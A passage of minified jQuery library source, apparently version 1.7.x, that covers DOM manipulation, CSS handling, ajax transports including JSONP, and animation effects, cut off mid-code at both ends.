a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() {for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(var c=0,d=this.length;c<d;c++)this[c].nodeType===1&&(f.cleanData(this[c].getElementsByTagName("*")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,bp)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1></$2>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]==="<table>"&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i<r;i++)bn(k[i]);else bn(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||be.test(a.type)};for(j=0;h[j];j++)if(e&&f.nodeName(h[j],"script")&&(!h[j].type||h[j].type.toLowerCase()==="text/javascript"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName("script"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bq=/alpha\([^)]*\)/i,br=/opacity=([^)]*)/,bs=/([A-Z]|^ms)/g,bt=/^-?\d+(?:px)?$/i,bu=/^-?\d/,bv=/^([\-+])=([\-+.\de]+)/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Left","Right"],by=["Top","Bottom"],bz,bA,bB;f.fn.css=function(a,c){if(arguments.length===2&&c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bz(a,"opacity","opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bv.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(bz)return bz(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return bC(a,b,d);f.swap(a,bw,function(){e=bC(a,b,d)});return e}},set:function(a,b){if(!bt.test(b))return b;b=parseFloat(b);if(b>=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),e===""&&f.css(d,"display")==="none"&&f._data(d,"olddisplay",cv(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cu("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(cu("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),o?(f._data(this,"toggle"+i,o==="show"?"hide":"show"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?"":"px"),n!=="px"&&(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]&&(m=(k[1]==="-="?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:cu("show",1),slideUp:cu("hide",1),slideToggle:cu("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide&&f._data(e.elem,"fxshow"+e.prop)===b&&f._data(e.elem,"fxshow"+e.prop,e.start)},h()&&f.timers.push(h)&&!cp&&(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(["width","height"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel&&g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel&&g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var 